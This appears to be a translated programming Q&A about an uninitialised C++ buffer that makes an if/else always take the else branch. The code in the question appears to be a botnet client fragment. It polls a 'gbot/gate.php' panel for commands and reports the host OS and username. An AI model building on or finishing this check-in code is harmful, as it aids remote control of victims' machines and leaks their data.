-2

使用下面的代码,程序总是进入 if 的 else 部分,而不是第一个 - 为什么?

char buffer[10000];
    if(buffer[0] != '\0')
    {
        send(Socket, "GET /gbot/gate.php?page=get_cmd", strlen("GET /gbot/gate.php?page=get_cmd"), 0);
        recv(Socket, buffer, 10000, 0);
        cout << buffer;
        buffer[0] = '\0';
    }
    else
    {
        string mybuf("GET /gbot/gate.php?page=ident&os=");
        if(getenv("windir") != NULL){
            mybuf += "windows&username=";
            mybuf += getenv("username");
            mybuf += "&version=win";
            mybuf += "\r\n\r\n";
        }
        else
            mybuf += "linux\r\n\r\n";
        send(Socket, mybuf.c_str(), mybuf.length(), 0);
        recv(Socket, buffer, 10000, 0);
        cout << buffer;
    }
4

2 回答 2

0

您从未初始化char buffer[10000];,因此缓冲区的内容是不确定的。

于 2013-04-09T23:51:23.803 回答
0

在 IF 语句之前初始化数组,例如;

char buffer[10000];
for (int i = 0; i < 10000; i++)
    buffer[i] = '1'; //you can initialize with any character except '\0' because you're testing for != in IF.
于 2013-04-09T23:55:31.627 回答